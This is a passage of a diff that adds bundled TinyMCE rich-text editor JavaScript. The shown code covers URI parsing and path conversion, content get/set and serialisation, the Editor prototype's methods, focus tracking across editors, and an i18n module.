+        url = (baseUri && baseUri.protocol || 'http') + '://mce_host' + self$$1.toAbsPath(baseUrl, url[1]) + url[2];
+      }
+    }
+    url = url.replace(/@@/g, '(mce_at)');
+    url = /^(?:(?![^:@]+:[^:@\/]*@)([^:\/?#.]+):)?(?:\/\/)?((?:(([^:@\/]*):?([^:@\/]*))?@)?([^:\/?#]*)(?::(\d*))?)(((\/(?:[^?#](?![^?#\/]*\.[^?#\/.]+(?:[?#]|$)))*\/?)?([^?#\/]*))(?:\?([^#]*))?(?:#(.*))?)/.exec(url);
+    each$20(queryParts, function (v, i) {
+      var part = url[i];
+      if (part) {
+        part = part.replace(/\(mce_at\)/g, '@@');
+      }
+      self$$1[v] = part;
+    });
+    if (baseUri) {
+      if (!self$$1.protocol) {
+        self$$1.protocol = baseUri.protocol;
+      }
+      if (!self$$1.userInfo) {
+        self$$1.userInfo = baseUri.userInfo;
+      }
+      if (!self$$1.port && self$$1.host === 'mce_host') {
+        self$$1.port = baseUri.port;
+      }
+      if (!self$$1.host || self$$1.host === 'mce_host') {
+        self$$1.host = baseUri.host;
+      }
+      self$$1.source = '';
+    }
+    if (isProtocolRelative) {
+      self$$1.protocol = '';
+    }
+  };
+  URI.prototype = {
+    setPath: function (path) {
+      var self$$1 = this;
+      path = /^(.*?)\/?(\w+)?$/.exec(path);
+      self$$1.path = path[0];
+      self$$1.directory = path[1];
+      self$$1.file = path[2];
+      self$$1.source = '';
+      self$$1.getURI();
+    },
+    toRelative: function (uri) {
+      var self$$1 = this;
+      var output;
+      if (uri === './') {
+        return uri;
+      }
+      uri = new URI(uri, { base_uri: self$$1 });
+      if (uri.host !== 'mce_host' && self$$1.host !== uri.host && uri.host || self$$1.port !== uri.port || self$$1.protocol !== uri.protocol && uri.protocol !== '') {
+        return uri.getURI();
+      }
+      var tu = self$$1.getURI(), uu = uri.getURI();
+      if (tu === uu || tu.charAt(tu.length - 1) === '/' && tu.substr(0, tu.length - 1) === uu) {
+        return tu;
+      }
+      output = self$$1.toRelPath(self$$1.path, uri.path);
+      if (uri.query) {
+        output += '?' + uri.query;
+      }
+      if (uri.anchor) {
+        output += '#' + uri.anchor;
+      }
+      return output;
+    },
+    toAbsolute: function (uri, noHost) {
+      uri = new URI(uri, { base_uri: this });
+      return uri.getURI(noHost && this.isSameOrigin(uri));
+    },
+    isSameOrigin: function (uri) {
+      if (this.host == uri.host && this.protocol == uri.protocol) {
+        if (this.port == uri.port) {
+          return true;
+        }
+        var defaultPort = DEFAULT_PORTS[this.protocol];
+        if (defaultPort && (this.port || defaultPort) == (uri.port || defaultPort)) {
+          return true;
+        }
+      }
+      return false;
+    },
+    toRelPath: function (base, path) {
+      var items, breakPoint = 0, out = '', i, l;
+      base = base.substring(0, base.lastIndexOf('/'));
+      base = base.split('/');
+      items = path.split('/');
+      if (base.length >= items.length) {
+        for (i = 0, l = base.length; i < l; i++) {
+          if (i >= items.length || base[i] !== items[i]) {
+            breakPoint = i + 1;
+            break;
+          }
+        }
+      }
+      if (base.length < items.length) {
+        for (i = 0, l = items.length; i < l; i++) {
+          if (i >= base.length || base[i] !== items[i]) {
+            breakPoint = i + 1;
+            break;
+          }
+        }
+      }
+      if (breakPoint === 1) {
+        return path;
+      }
+      for (i = 0, l = base.length - (breakPoint - 1); i < l; i++) {
+        out += '../';
+      }
+      for (i = breakPoint - 1, l = items.length; i < l; i++) {
+        if (i !== breakPoint - 1) {
+          out += '/' + items[i];
+        } else {
+          out += items[i];
+        }
+      }
+      return out;
+    },
+    toAbsPath: function (base, path) {
+      var i, nb = 0, o = [], tr, outPath;
+      tr = /\/$/.test(path) ? '/' : '';
+      base = base.split('/');
+      path = path.split('/');
+      each$20(base, function (k) {
+        if (k) {
+          o.push(k);
+        }
+      });
+      base = o;
+      for (i = path.length - 1, o = []; i >= 0; i--) {
+        if (path[i].length === 0 || path[i] === '.') {
+          continue;
+        }
+        if (path[i] === '..') {
+          nb++;
+          continue;
+        }
+        if (nb > 0) {
+          nb--;
+          continue;
+        }
+        o.push(path[i]);
+      }
+      i = base.length - nb;
+      if (i <= 0) {
+        outPath = o.reverse().join('/');
+      } else {
+        outPath = base.slice(0, i).join('/') + '/' + o.reverse().join('/');
+      }
+      if (outPath.indexOf('/') !== 0) {
+        outPath = '/' + outPath;
+      }
+      if (tr && outPath.lastIndexOf('/') !== outPath.length - 1) {
+        outPath += tr;
+      }
+      return outPath;
+    },
+    getURI: function (noProtoHost) {
+      var s;
+      var self$$1 = this;
+      if (!self$$1.source || noProtoHost) {
+        s = '';
+        if (!noProtoHost) {
+          if (self$$1.protocol) {
+            s += self$$1.protocol + '://';
+          } else {
+            s += '//';
+          }
+          if (self$$1.userInfo) {
+            s += self$$1.userInfo + '@';
+          }
+          if (self$$1.host) {
+            s += self$$1.host;
+          }
+          if (self$$1.port) {
+            s += ':' + self$$1.port;
+          }
+        }
+        if (self$$1.path) {
+          s += self$$1.path;
+        }
+        if (self$$1.query) {
+          s += '?' + self$$1.query;
+        }
+        if (self$$1.anchor) {
+          s += '#' + self$$1.anchor;
+        }
+        self$$1.source = s;
+      }
+      return self$$1.source;
+    }
+  };
+  URI.parseDataUri = function (uri) {
+    var type, matches;
+    uri = decodeURIComponent(uri).split(',');
+    matches = /data:([^;]+)/.exec(uri[0]);
+    if (matches) {
+      type = matches[1];
+    }
+    return {
+      type: type,
+      data: uri[1]
+    };
+  };
+  URI.getDocumentBaseUrl = function (loc) {
+    var baseUrl;
+    if (loc.protocol.indexOf('http') !== 0 && loc.protocol !== 'file:') {
+      baseUrl = loc.href;
+    } else {
+      baseUrl = loc.protocol + '//' + loc.host + loc.pathname;
+    }
+    if (/^[^:]+:\/\/\/?[^\/]+\//.test(baseUrl)) {
+      baseUrl = baseUrl.replace(/[\?#].*$/, '').replace(/[\/\\][^\/]+$/, '');
+      if (!/[\/\\]$/.test(baseUrl)) {
+        baseUrl += '/';
+      }
+    }
+    return baseUrl;
+  };
+
+  var defaultFormat = 'html';
+  var trimEmptyContents = function (editor, html) {
+    var blockName = $_259vs538jjgwe82a.getForcedRootBlock(editor);
+    var emptyRegExp = new RegExp('^(<' + blockName + '[^>]*>(&nbsp;|&#160;|\\s|\xA0|<br \\/>|)<\\/' + blockName + '>[\r\n]*|<br \\/>[\r\n]*)$');
+    return html.replace(emptyRegExp, '');
+  };
+  var getContentFromBody = function (editor, args, body) {
+    var content;
+    args.format = args.format ? args.format : defaultFormat;
+    args.get = true;
+    args.getInner = true;
+    if (!args.no_events) {
+      editor.fire('BeforeGetContent', args);
+    }
+    if (args.format === 'raw') {
+      content = $_6cwiepljjgwe7j4.trim($_87j7cq5zjjgwe8pf.trimExternal(editor.serializer, body.innerHTML));
+    } else if (args.format === 'text') {
+      content = $_2xw7ul2pjjgwe7xs.trim(body.innerText || body.textContent);
+    } else if (args.format === 'tree') {
+      return editor.serializer.serialize(body, args);
+    } else {
+      content = trimEmptyContents(editor, editor.serializer.serialize(body, args));
+    }
+    if (args.format !== 'text' && !isWsPreserveElement(Element$$1.fromDom(body))) {
+      args.content = $_6cwiepljjgwe7j4.trim(content);
+    } else {
+      args.content = content;
+    }
+    if (!args.no_events) {
+      editor.fire('GetContent', args);
+    }
+    return args.content;
+  };
+  var getContent$1 = function (editor, args) {
+    if (args === void 0) {
+      args = {};
+    }
+    return Option.from(editor.getBody()).fold(constant(args.format === 'tree' ? new Node$2('body', 11) : ''), function (body) {
+      return getContentFromBody(editor, args, body);
+    });
+  };
+
+  var traverse = function (node, fn) {
+    fn(node);
+    if (node.firstChild) {
+      traverse(node.firstChild, fn);
+    }
+    if (node.next) {
+      traverse(node.next, fn);
+    }
+  };
+  var findMatchingNodes = function (nodeFilters, attributeFilters, node) {
+    var nodeMatches = {};
+    var attrMatches = {};
+    var matches = [];
+    if (node.firstChild) {
+      traverse(node.firstChild, function (node) {
+        each(nodeFilters, function (filter$$1) {
+          if (filter$$1.name === node.name) {
+            if (nodeMatches[filter$$1.name]) {
+              nodeMatches[filter$$1.name].nodes.push(node);
+            } else {
+              nodeMatches[filter$$1.name] = {
+                filter: filter$$1,
+                nodes: [node]
+              };
+            }
+          }
+        });
+        each(attributeFilters, function (filter$$1) {
+          if (typeof node.attr(filter$$1.name) === 'string') {
+            if (attrMatches[filter$$1.name]) {
+              attrMatches[filter$$1.name].nodes.push(node);
+            } else {
+              attrMatches[filter$$1.name] = {
+                filter: filter$$1,
+                nodes: [node]
+              };
+            }
+          }
+        });
+      });
+    }
+    for (var name in nodeMatches) {
+      if (nodeMatches.hasOwnProperty(name)) {
+        matches.push(nodeMatches[name]);
+      }
+    }
+    for (var name in attrMatches) {
+      if (attrMatches.hasOwnProperty(name)) {
+        matches.push(attrMatches[name]);
+      }
+    }
+    return matches;
+  };
+  var filter$3 = function (nodeFilters, attributeFilters, node) {
+    var matches = findMatchingNodes(nodeFilters, attributeFilters, node);
+    each(matches, function (match) {
+      each(match.filter.callbacks, function (callback) {
+        callback(match.nodes, match.filter.name, {});
+      });
+    });
+  };
+
+  var defaultFormat$1 = 'html';
+  var isTreeNode = function (content) {
+    return content instanceof Node$2;
+  };
+  var moveSelection = function (editor) {
+    if ($_5eyh7w4vjjgwe8ik.hasFocus(editor)) {
+      $_8q1ver2yjjgwe7z3.firstPositionIn(editor.getBody()).each(function (pos) {
+        var node = pos.getNode();
+        var caretPos = $_3b9u2y1rjjgwe7qe.isTable(node) ? $_8q1ver2yjjgwe7z3.firstPositionIn(node).getOr(pos) : pos;
+        editor.selection.setRng(caretPos.toRange());
+      });
+    }
+  };
+  var setEditorHtml = function (editor, html) {
+    editor.dom.setHTML(editor.getBody(), html);
+    moveSelection(editor);
+  };
+  var setContentString = function (editor, body, content, args) {
+    var forcedRootBlockName, padd;
+    if (content.length === 0 || /^\s+$/.test(content)) {
+      padd = '<br data-mce-bogus="1">';
+      if (body.nodeName === 'TABLE') {
+        content = '<tr><td>' + padd + '</td></tr>';
+      } else if (/^(UL|OL)$/.test(body.nodeName)) {
+        content = '<li>' + padd + '</li>';
+      }
+      forcedRootBlockName = $_259vs538jjgwe82a.getForcedRootBlock(editor);
+      if (forcedRootBlockName && editor.schema.isValidChild(body.nodeName.toLowerCase(), forcedRootBlockName.toLowerCase())) {
+        content = padd;
+        content = editor.dom.createHTML(forcedRootBlockName, editor.settings.forced_root_block_attrs, content);
+      } else if (!content) {
+        content = '<br data-mce-bogus="1">';
+      }
+      setEditorHtml(editor, content);
+      editor.fire('SetContent', args);
+    } else {
+      if (args.format !== 'raw') {
+        content = HtmlSerializer({ validate: editor.validate }, editor.schema).serialize(editor.parser.parse(content, {
+          isRootContent: true,
+          insert: true
+        }));
+      }
+      args.content = isWsPreserveElement(Element$$1.fromDom(body)) ? content : $_6cwiepljjgwe7j4.trim(content);
+      setEditorHtml(editor, args.content);
+      if (!args.no_events) {
+        editor.fire('SetContent', args);
+      }
+    }
+    return args.content;
+  };
+  var setContentTree = function (editor, body, content, args) {
+    filter$3(editor.parser.getNodeFilters(), editor.parser.getAttributeFilters(), content);
+    var html = HtmlSerializer({ validate: editor.validate }, editor.schema).serialize(content);
+    args.content = isWsPreserveElement(Element$$1.fromDom(body)) ? html : $_6cwiepljjgwe7j4.trim(html);
+    setEditorHtml(editor, args.content);
+    if (!args.no_events) {
+      editor.fire('SetContent', args);
+    }
+    return content;
+  };
+  var setContent$1 = function (editor, content, args) {
+    if (args === void 0) {
+      args = {};
+    }
+    args.format = args.format ? args.format : defaultFormat$1;
+    args.set = true;
+    args.content = isTreeNode(content) ? '' : content;
+    if (!isTreeNode(content) && !args.no_events) {
+      editor.fire('BeforeSetContent', args);
+      content = args.content;
+    }
+    return Option.from(editor.getBody()).fold(constant(content), function (body) {
+      return isTreeNode(content) ? setContentTree(editor, body, content, args) : setContentString(editor, body, content, args);
+    });
+  };
+
+  var DOM$6 = DOMUtils$1.DOM;
+  var restoreOriginalStyles = function (editor) {
+    DOM$6.setStyle(editor.id, 'display', editor.orgDisplay);
+  };
+  var safeDestroy = function (x) {
+    return Option.from(x).each(function (x) {
+      return x.destroy();
+    });
+  };
+  var clearDomReferences = function (editor) {
+    editor.contentAreaContainer = editor.formElement = editor.container = editor.editorContainer = null;
+    editor.bodyElement = editor.contentDocument = editor.contentWindow = null;
+    editor.iframeElement = editor.targetElm = null;
+    if (editor.selection) {
+      editor.selection = editor.selection.win = editor.selection.dom = editor.selection.dom.doc = null;
+    }
+  };
+  var restoreForm = function (editor) {
+    var form = editor.formElement;
+    if (form) {
+      if (form._mceOldSubmit) {
+        form.submit = form._mceOldSubmit;
+        form._mceOldSubmit = null;
+      }
+      DOM$6.unbind(form, 'submit reset', editor.formEventDelegate);
+    }
+  };
+  var remove$9 = function (editor) {
+    if (!editor.removed) {
+      var _selectionOverrides = editor._selectionOverrides, editorUpload = editor.editorUpload;
+      var body = editor.getBody();
+      var element = editor.getElement();
+      if (body) {
+        editor.save();
+      }
+      editor.removed = true;
+      editor.unbindAllNativeEvents();
+      if (editor.hasHiddenInput && element) {
+        DOM$6.remove(element.nextSibling);
+      }
+      if (!editor.inline && body) {
+        restoreOriginalStyles(editor);
+      }
+      $_b2ca654tjjgwe8ic.fireRemove(editor);
+      editor.editorManager.remove(editor);
+      DOM$6.remove(editor.getContainer());
+      safeDestroy(_selectionOverrides);
+      safeDestroy(editorUpload);
+      editor.destroy();
+    }
+  };
+  var destroy = function (editor, automatic) {
+    var selection = editor.selection, dom = editor.dom;
+    if (editor.destroyed) {
+      return;
+    }
+    if (!automatic && !editor.removed) {
+      editor.remove();
+      return;
+    }
+    if (!automatic) {
+      editor.editorManager.off('beforeunload', editor._beforeUnload);
+      if (editor.theme && editor.theme.destroy) {
+        editor.theme.destroy();
+      }
+      safeDestroy(selection);
+      safeDestroy(dom);
+    }
+    restoreForm(editor);
+    clearDomReferences(editor);
+    editor.destroyed = true;
+  };
+
+  var DOM$7 = DOMUtils$1.DOM;
+  var extend$4 = $_6cwiepljjgwe7j4.extend;
+  var each$21 = $_6cwiepljjgwe7j4.each;
+  var resolve$4 = $_6cwiepljjgwe7j4.resolve;
+  var ie$2 = $_bcvfv9ajjgwe79v.ie;
+  var Editor = function (id, settings, editorManager) {
+    var self = this;
+    var documentBaseUrl = self.documentBaseUrl = editorManager.documentBaseURL;
+    var baseUri = editorManager.baseURI;
+    settings = getEditorSettings(self, id, documentBaseUrl, editorManager.defaultSettings, settings);
+    self.settings = settings;
+    AddOnManager.language = settings.language || 'en';
+    AddOnManager.languageLoad = settings.language_load;
+    AddOnManager.baseURL = editorManager.baseURL;
+    self.id = id;
+    self.setDirty(false);
+    self.plugins = {};
+    self.documentBaseURI = new URI(settings.document_base_url, { base_uri: baseUri });
+    self.baseURI = baseUri;
+    self.contentCSS = [];
+    self.contentStyles = [];
+    self.shortcuts = new Shortcuts(self);
+    self.loadedCSS = {};
+    self.editorCommands = new EditorCommands(self);
+    self.suffix = editorManager.suffix;
+    self.editorManager = editorManager;
+    self.inline = settings.inline;
+    self.buttons = {};
+    self.menuItems = {};
+    if (settings.cache_suffix) {
+      $_bcvfv9ajjgwe79v.cacheSuffix = settings.cache_suffix.replace(/^[\?\&]+/, '');
+    }
+    if (settings.override_viewport === false) {
+      $_bcvfv9ajjgwe79v.overrideViewPort = false;
+    }
+    editorManager.fire('SetupEditor', { editor: self });
+    self.execCallback('setup', self);
+    self.$ = DomQuery.overrideDefaults(function () {
+      return {
+        context: self.inline ? self.getBody() : self.getDoc(),
+        element: self.getBody()
+      };
+    });
+  };
+  Editor.prototype = {
+    render: function () {
+      $_f3cxe94yjjgwe8ja.render(this);
+    },
+    focus: function (skipFocus) {
+      $_5eyh7w4vjjgwe8ik.focus(this, skipFocus);
+    },
+    hasFocus: function () {
+      return $_5eyh7w4vjjgwe8ik.hasFocus(this);
+    },
+    execCallback: function (name) {
+      var x = [];
+      for (var _i = 1; _i < arguments.length; _i++) {
+        x[_i - 1] = arguments[_i];
+      }
+      var self = this;
+      var callback = self.settings[name], scope;
+      if (!callback) {
+        return;
+      }
+      if (self.callbackLookup && (scope = self.callbackLookup[name])) {
+        callback = scope.func;
+        scope = scope.scope;
+      }
+      if (typeof callback === 'string') {
+        scope = callback.replace(/\.\w+$/, '');
+        scope = scope ? resolve$4(scope) : 0;
+        callback = resolve$4(callback);
+        self.callbackLookup = self.callbackLookup || {};
+        self.callbackLookup[name] = {
+          func: callback,
+          scope: scope
+        };
+      }
+      return callback.apply(scope || self, Array.prototype.slice.call(arguments, 1));
+    },
+    translate: function (text) {
+      if (text && $_6cwiepljjgwe7j4.is(text, 'string')) {
+        var lang_1 = this.settings.language || 'en', i18n_1 = this.editorManager.i18n;
+        text = i18n_1.data[lang_1 + '.' + text] || text.replace(/\{\#([^\}]+)\}/g, function (a, b) {
+          return i18n_1.data[lang_1 + '.' + b] || '{#' + b + '}';
+        });
+      }
+      return this.editorManager.translate(text);
+    },
+    getLang: function (name, defaultVal) {
+      return this.editorManager.i18n.data[(this.settings.language || 'en') + '.' + name] || (defaultVal !== undefined ? defaultVal : '{#' + name + '}');
+    },
+    getParam: function (name, defaultVal, type) {
+      return getParam(this, name, defaultVal, type);
+    },
+    nodeChanged: function (args) {
+      this._nodeChangeDispatcher.nodeChanged(args);
+    },
+    addButton: function (name, settings) {
+      var self = this;
+      if (settings.cmd) {
+        settings.onclick = function () {
+          self.execCommand(settings.cmd);
+        };
+      }
+      if (settings.stateSelector && typeof settings.active === 'undefined') {
+        settings.active = false;
+      }
+      if (!settings.text && !settings.icon) {
+        settings.icon = name;
+      }
+      self.buttons = self.buttons;
+      settings.tooltip = settings.tooltip || settings.title;
+      self.buttons[name] = settings;
+    },
+    addSidebar: function (name, settings) {
+      return $_9tpo0o7pjjgwe92c.add(this, name, settings);
+    },
+    addMenuItem: function (name, settings) {
+      var self = this;
+      if (settings.cmd) {
+        settings.onclick = function () {
+          self.execCommand(settings.cmd);
+        };
+      }
+      self.menuItems = self.menuItems;
+      self.menuItems[name] = settings;
+    },
+    addContextToolbar: function (predicate, items) {
+      var self = this;
+      var selector;
+      self.contextToolbars = self.contextToolbars || [];
+      if (typeof predicate === 'string') {
+        selector = predicate;
+        predicate = function (elm) {
+          return self.dom.is(elm, selector);
+        };
+      }
+      self.contextToolbars.push({
+        id: $_637o4x5jjjgwe8m5.uuid('mcet'),
+        predicate: predicate,
+        items: items
+      });
+    },
+    addCommand: function (name, callback, scope) {
+      this.editorCommands.addCommand(name, callback, scope);
+    },
+    addQueryStateHandler: function (name, callback, scope) {
+      this.editorCommands.addQueryStateHandler(name, callback, scope);
+    },
+    addQueryValueHandler: function (name, callback, scope) {
+      this.editorCommands.addQueryValueHandler(name, callback, scope);
+    },
+    addShortcut: function (pattern, desc, cmdFunc, scope) {
+      this.shortcuts.add(pattern, desc, cmdFunc, scope);
+    },
+    execCommand: function (cmd, ui, value, args) {
+      return this.editorCommands.execCommand(cmd, ui, value, args);
+    },
+    queryCommandState: function (cmd) {
+      return this.editorCommands.queryCommandState(cmd);
+    },
+    queryCommandValue: function (cmd) {
+      return this.editorCommands.queryCommandValue(cmd);
+    },
+    queryCommandSupported: function (cmd) {
+      return this.editorCommands.queryCommandSupported(cmd);
+    },
+    show: function () {
+      var self = this;
+      if (self.hidden) {
+        self.hidden = false;
+        if (self.inline) {
+          self.getBody().contentEditable = true;
+        } else {
+          DOM$7.show(self.getContainer());
+          DOM$7.hide(self.id);
+        }
+        self.load();
+        self.fire('show');
+      }
+    },
+    hide: function () {
+      var self = this, doc = self.getDoc();
+      if (!self.hidden) {
+        if (ie$2 && doc && !self.inline) {
+          doc.execCommand('SelectAll');
+        }
+        self.save();
+        if (self.inline) {
+          self.getBody().contentEditable = false;
+          if (self === self.editorManager.focusedEditor) {
+            self.editorManager.focusedEditor = null;
+          }
+        } else {
+          DOM$7.hide(self.getContainer());
+          DOM$7.setStyle(self.id, 'display', self.orgDisplay);
+        }
+        self.hidden = true;
+        self.fire('hide');
+      }
+    },
+    isHidden: function () {
+      return !!this.hidden;
+    },
+    setProgressState: function (state, time) {
+      this.fire('ProgressState', {
+        state: state,
+        time: time
+      });
+    },
+    load: function (args) {
+      var self = this;
+      var elm = self.getElement(), html;
+      if (self.removed) {
+        return '';
+      }
+      if (elm) {
+        args = args || {};
+        args.load = true;
+        html = self.setContent(elm.value !== undefined ? elm.value : elm.innerHTML, args);
+        args.element = elm;
+        if (!args.no_events) {
+          self.fire('LoadContent', args);
+        }
+        args.element = elm = null;
+        return html;
+      }
+    },
+    save: function (args) {
+      var self = this;
+      var elm = self.getElement(), html, form;
+      if (!elm || !self.initialized || self.removed) {
+        return;
+      }
+      args = args || {};
+      args.save = true;
+      args.element = elm;
+      html = args.content = self.getContent(args);
+      if (!args.no_events) {
+        self.fire('SaveContent', args);
+      }
+      if (args.format === 'raw') {
+        self.fire('RawSaveContent', args);
+      }
+      html = args.content;
+      if (!/TEXTAREA|INPUT/i.test(elm.nodeName)) {
+        elm.innerHTML = html;
+        if (form = DOM$7.getParent(self.id, 'form')) {
+          each$21(form.elements, function (elm) {
+            if (elm.name === self.id) {
+              elm.value = html;
+              return false;
+            }
+          });
+        }
+      } else {
+        elm.value = html;
+      }
+      args.element = elm = null;
+      if (args.set_dirty !== false) {
+        self.setDirty(false);
+      }
+      return html;
+    },
+    setContent: function (content, args) {
+      return setContent$1(this, content, args);
+    },
+    getContent: function (args) {
+      return getContent$1(this, args);
+    },
+    insertContent: function (content, args) {
+      if (args) {
+        content = extend$4({ content: content }, args);
+      }
+      this.execCommand('mceInsertContent', false, content);
+    },
+    isDirty: function () {
+      return !this.isNotDirty;
+    },
+    setDirty: function (state) {
+      var oldState = !this.isNotDirty;
+      this.isNotDirty = !state;
+      if (state && state !== oldState) {
+        this.fire('dirty');
+      }
+    },
+    setMode: function (mode) {
+      setMode(this, mode);
+    },
+    getContainer: function () {
+      var self = this;
+      if (!self.container) {
+        self.container = DOM$7.get(self.editorContainer || self.id + '_parent');
+      }
+      return self.container;
+    },
+    getContentAreaContainer: function () {
+      return this.contentAreaContainer;
+    },
+    getElement: function () {
+      if (!this.targetElm) {
+        this.targetElm = DOM$7.get(this.id);
+      }
+      return this.targetElm;
+    },
+    getWin: function () {
+      var self = this;
+      var elm;
+      if (!self.contentWindow) {
+        elm = self.iframeElement;
+        if (elm) {
+          self.contentWindow = elm.contentWindow;
+        }
+      }
+      return self.contentWindow;
+    },
+    getDoc: function () {
+      var self = this;
+      var win;
+      if (!self.contentDocument) {
+        win = self.getWin();
+        if (win) {
+          self.contentDocument = win.document;
+        }
+      }
+      return self.contentDocument;
+    },
+    getBody: function () {
+      var doc = this.getDoc();
+      return this.bodyElement || (doc ? doc.body : null);
+    },
+    convertURL: function (url, name, elm) {
+      var self = this, settings = self.settings;
+      if (settings.urlconverter_callback) {
+        return self.execCallback('urlconverter_callback', url, elm, true, name);
+      }
+      if (!settings.convert_urls || elm && elm.nodeName === 'LINK' || url.indexOf('file:') === 0 || url.length === 0) {
+        return url;
+      }
+      if (settings.relative_urls) {
+        return self.documentBaseURI.toRelative(url);
+      }
+      url = self.documentBaseURI.toAbsolute(url, settings.remove_script_host);
+      return url;
+    },
+    addVisual: function (elm) {
+      var self = this;
+      var settings = self.settings;
+      var dom = self.dom;
+      var cls;
+      elm = elm || self.getBody();
+      if (self.hasVisual === undefined) {
+        self.hasVisual = settings.visual;
+      }
+      each$21(dom.select('table,a', elm), function (elm) {
+        var value;
+        switch (elm.nodeName) {
+        case 'TABLE':
+          cls = settings.visual_table_class || 'mce-item-table';
+          value = dom.getAttrib(elm, 'border');
+          if ((!value || value === '0') && self.hasVisual) {
+            dom.addClass(elm, cls);
+          } else {
+            dom.removeClass(elm, cls);
+          }
+          return;
+        case 'A':
+          if (!dom.getAttrib(elm, 'href')) {
+            value = dom.getAttrib(elm, 'name') || elm.id;
+            cls = settings.visual_anchor_class || 'mce-item-anchor';
+            if (value && self.hasVisual) {
+              dom.addClass(elm, cls);
+            } else {
+              dom.removeClass(elm, cls);
+            }
+          }
+          return;
+        }
+      });
+      self.fire('VisualAid', {
+        element: elm,
+        hasVisual: self.hasVisual
+      });
+    },
+    remove: function () {
+      remove$9(this);
+    },
+    destroy: function (automatic) {
+      destroy(this, automatic);
+    },
+    uploadImages: function (callback) {
+      return this.editorUpload.uploadImages(callback);
+    },
+    _scanForImages: function () {
+      return this.editorUpload.scanForImages();
+    }
+  };
+  extend$4(Editor.prototype, EditorObservable$1);
+
+  var isEditorUIElement = function (elm) {
+    return elm.className.toString().indexOf('mce-') !== -1;
+  };
+  var $_264dtu7yjjgwe947 = { isEditorUIElement: isEditorUIElement };
+
+  var isManualNodeChange = function (e) {
+    return e.type === 'nodechange' && e.selectionChange;
+  };
+  var registerPageMouseUp = function (editor, throttledStore) {
+    var mouseUpPage = function () {
+      throttledStore.throttle();
+    };
+    DOMUtils$1.DOM.bind(document, 'mouseup', mouseUpPage);
+    editor.on('remove', function () {
+      DOMUtils$1.DOM.unbind(document, 'mouseup', mouseUpPage);
+    });
+  };
+  var registerFocusOut = function (editor) {
+    editor.on('focusout', function () {
+      $_4wtqbt4ljjgwe8gy.store(editor);
+    });
+  };
+  var registerMouseUp = function (editor, throttledStore) {
+    editor.on('mouseup touchend', function (e) {
+      throttledStore.throttle();
+    });
+  };
+  var registerEditorEvents = function (editor, throttledStore) {
+    var browser = $_7vg267ojjgwe7k0.detect().browser;
+    if (browser.isIE()) {
+      registerFocusOut(editor);
+    } else {
+      registerMouseUp(editor, throttledStore);
+    }
+    editor.on('keyup nodechange', function (e) {
+      if (!isManualNodeChange(e)) {
+        $_4wtqbt4ljjgwe8gy.store(editor);
+      }
+    });
+  };
+  var register$3 = function (editor) {
+    var throttledStore = first$1(function () {
+      $_4wtqbt4ljjgwe8gy.store(editor);
+    }, 0);
+    if (editor.inline) {
+      registerPageMouseUp(editor, throttledStore);
+    }
+    editor.on('init', function () {
+      registerEditorEvents(editor, throttledStore);
+    });
+    editor.on('remove', function () {
+      throttledStore.cancel();
+    });
+  };
+  var $_6aodh87zjjgwe948 = { register: register$3 };
+
+  var documentFocusInHandler;
+  var DOM$8 = DOMUtils$1.DOM;
+  var isEditorUIElement$1 = function (elm) {
+    return $_264dtu7yjjgwe947.isEditorUIElement(elm);
+  };
+  var isUIElement = function (editor, elm) {
+    var customSelector = editor ? editor.settings.custom_ui_selector : '';
+    var parent$$1 = DOM$8.getParent(elm, function (elm) {
+      return isEditorUIElement$1(elm) || (customSelector ? editor.dom.is(elm, customSelector) : false);
+    });
+    return parent$$1 !== null;
+  };
+  var getActiveElement = function () {
+    try {
+      return document.activeElement;
+    } catch (ex) {
+      return document.body;
+    }
+  };
+  var registerEvents = function (editorManager, e) {
+    var editor = e.editor;
+    $_6aodh87zjjgwe948.register(editor);
+    editor.on('focusin', function () {
+      var self$$1 = this;
+      var focusedEditor = editorManager.focusedEditor;
+      if (focusedEditor !== self$$1) {
+        if (focusedEditor) {
+          focusedEditor.fire('blur', { focusedEditor: self$$1 });
+        }
+        editorManager.setActive(self$$1);
+        editorManager.focusedEditor = self$$1;
+        self$$1.fire('focus', { blurredEditor: focusedEditor });
+        self$$1.focus(true);
+      }
+    });
+    editor.on('focusout', function () {
+      var self$$1 = this;
+      $_9o1ijaijjgwe7dm.setEditorTimeout(self$$1, function () {
+        var focusedEditor = editorManager.focusedEditor;
+        if (!isUIElement(self$$1, getActiveElement()) && focusedEditor === self$$1) {
+          self$$1.fire('blur', { focusedEditor: null });
+          editorManager.focusedEditor = null;
+        }
+      });
+    });
+    if (!documentFocusInHandler) {
+      documentFocusInHandler = function (e) {
+        var activeEditor = editorManager.activeEditor;
+        var target;
+        target = e.target;
+        if (activeEditor && target.ownerDocument === document) {
+          if (target !== document.body && !isUIElement(activeEditor, target) && editorManager.focusedEditor === activeEditor) {
+            activeEditor.fire('blur', { focusedEditor: null });
+            editorManager.focusedEditor = null;
+          }
+        }
+      };
+      DOM$8.bind(document, 'focusin', documentFocusInHandler);
+    }
+  };
+  var unregisterDocumentEvents = function (editorManager, e) {
+    if (editorManager.focusedEditor === e.editor) {
+      editorManager.focusedEditor = null;
+    }
+    if (!editorManager.activeEditor) {
+      DOM$8.unbind(document, 'focusin', documentFocusInHandler);
+      documentFocusInHandler = null;
+    }
+  };
+  var setup$15 = function (editorManager) {
+    editorManager.on('AddEditor', curry(registerEvents, editorManager));
+    editorManager.on('RemoveEditor', curry(unregisterDocumentEvents, editorManager));
+  };
+  var $_8o8it37xjjgwe943 = {
+    setup: setup$15,
+    isEditorUIElement: isEditorUIElement$1,
+    isUIElement: isUIElement
+  };
+
+  var data = {};
+  var code = 'en';
+  var $_65s8hc80jjgwe94e = {
+    setCode: function (newCode) {
+      if (newCode) {
+        code = newCode;
+        this.rtl = this.data[newCode] ? this.data[newCode]._dir === 'rtl' : false;
+      }
+    },
+    getCode: function () {
+      return code;
+    },
+    rtl: false,
+    add: function (code, items) {
+      var langData = data[code];
+      if (!langData) {
+        data[code] = langData = {};
+      }
+      for (var name in items) {
+        langData[name] = items[name];
+      }
+      this.setCode(code);
+    },
+    translate: function (text) {
+      var langData = data[code] || {};
+      var toString = function (obj) {
+        if ($_6cwiepljjgwe7j4.is(obj, 'function')) {
+          return Object.prototype.toString.call(obj);
+        }
+        return !isEmpty(obj) ? '' + obj : '';
+      };
+      var isEmpty = function (text) {
+        return text === '' || text === null || $_6cwiepljjgwe7j4.is(text, 'undefined');
+      };
+      var getLangData = function (text) {
+        text = toString(text);
+        return $_6cwiepljjgwe7j4.hasOwn(langData, text) ? toString(langData[text]) : text;
+      };
+      if (isEmpty(text)) {
+        return '';
+      }
